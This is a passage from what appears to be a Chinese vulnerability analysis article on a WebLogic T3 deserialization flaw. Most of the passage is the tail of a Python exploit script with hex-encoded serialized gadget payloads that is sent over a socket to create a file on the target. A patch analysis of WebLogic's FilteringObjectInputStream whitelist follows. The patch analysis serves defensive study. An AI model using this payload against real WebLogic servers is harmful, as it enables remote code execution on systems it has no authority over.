x3B\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x2F\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x38\x00\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0C\x00\x00\x00\x3F\x00\x00\x00\x03\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x34\x00\x0E\x00\x00\x00\x20\x00\x03\x00\x00\x00\x01\x00\x0F\x00\x38\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x01\x00\x13\x00\x1B\x00\x02\x00\x0C\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x38\x00\x0E\x00\x00\x00\x2A\x00\x04\x00\x00\x00\x01\x00\x0F\x00\x38\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x1C\x00\x1D\x00\x02\x00\x00\x00\x01\x00\x1E\x00\x1F\x00\x03\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x08\x00\x29\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x24\x00\x03\x00\x02\x00\x00\x00\x0F\xA7\x00\x03\x01\x4C\xB8\x00\x2F\x12\x31\xB6\x00\x35\x57\xB1\x00\x00\x00\x01\x00\x36\x00\x00\x00\x03\x00\x01\x03\x00\x02\x00\x20\x00\x00\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00\x7E\x00\x0B\x00\x00\x01\xD4\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x1B\x0A\x00\x03\x00\x15\x07\x00\x17\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\x71\xE6\x69\xEE\x3C\x6D\x47\x18\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x03\x46\x6F\x6F\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x25\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x1A\x01\x00\x23\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x01\x00\x10\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x01\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3C\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00\x02\x00\x14\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x04\x50\x77\x6E\x72\x70\x77\x01\x00\x78\x73\x7D\x00\x00\x00\x01\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x08\x78\x76\x72\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x78\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x05\x78\x76\x71\x00\x7E\x00\x03\x78' payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'payload=payload+payloadObj# payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
# print len(payload)# adjust header for appropriate message lengthpayload=struct.pack('>I',len(payload)) + payload[4:]# print len(payload)print '[+] Sending payload and creating 0422 file in tmp folder'# print payloadsock.send(payload)time.sleep(1)print 'Successfully'


六、补丁分析


最新的补丁从侧面修复了这一漏洞。补丁没有检测拦截MashalledObject类,而是在wlclient.jar中加入拦截类FilteringObjectInputStream并设置了白名单,从而拦截包含恶意类的LinkedHashSet类型数据,如下。

白名单:


调用链:

at weblogic.utils.io.FilteringObjectInputStream.validateReturnType(FilteringObjectInputStream.java:170) at weblogic.utils.io.FilteringObjectInputStream.resolveClass(FilteringObjectInputStream.java:65) at weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.resolveClass(InboundMsgAbbrev.java:149) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1610) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1515) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1769) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370) at weblogic.utils.io.FilteringObjectInputStream.readObjectValidated(FilteringObjectInputStream.java:127) at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:89) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:55) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:298) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:228) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:520) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:507) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907) at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:511) at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:477) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)  at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)


可知,在 FilteringObjectInputStream.validateReturnType 方法处中断程序,此方法如下。

public void validateReturnType(Class returnType) throws InvalidClassException { if (this.expectedType != null || this.expectedTypes != null) { try { if (returnType != null) { if (this.expectedType == null) { for(int i = 0; i < this.expectedTypes.length; ++i) { if (this.expectedTypes[i].isAssignableFrom(returnType)) { return; } }
String classTypes = "[ ";
for(int i = 0; i < this.expectedTypes.length; ++i) { if (i > 0) { classTypes = classTypes + ", " + this.expectedTypes[i].getName(); } }
classTypes = classTypes + "]"; throw new InvalidClassException("Expected type of " + classTypes + " but actual type was " + returnType.getName()); }
if (!this.expectedType.isAssignableFrom(returnType)) { throw new InvalidClassException("Expected type of " + this.expectedType.getName() + " but actual type was " + returnType.getName()); } } } finally { this.expectedType = null; this.expectedTypes = null; }
} }}


当输入的数据类型不在 expectedTypes 白名单列表中时,会抛出异常,并打印出当前输入数据类型不符的信息,如下。




推荐阅读
WebLogic UniversalExtractor反序列化漏洞(CVE-2020-14645)的复现和分析Oracle Coherence&WebLogic反序列化远程代码执行漏洞安全风险通告
手把手教你详细分析 Chrome 1day 漏洞 (CVE-2021-21224)
详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220
Codecov后门事件验证分析



题图:Pixabay License


转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "” 吧~


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存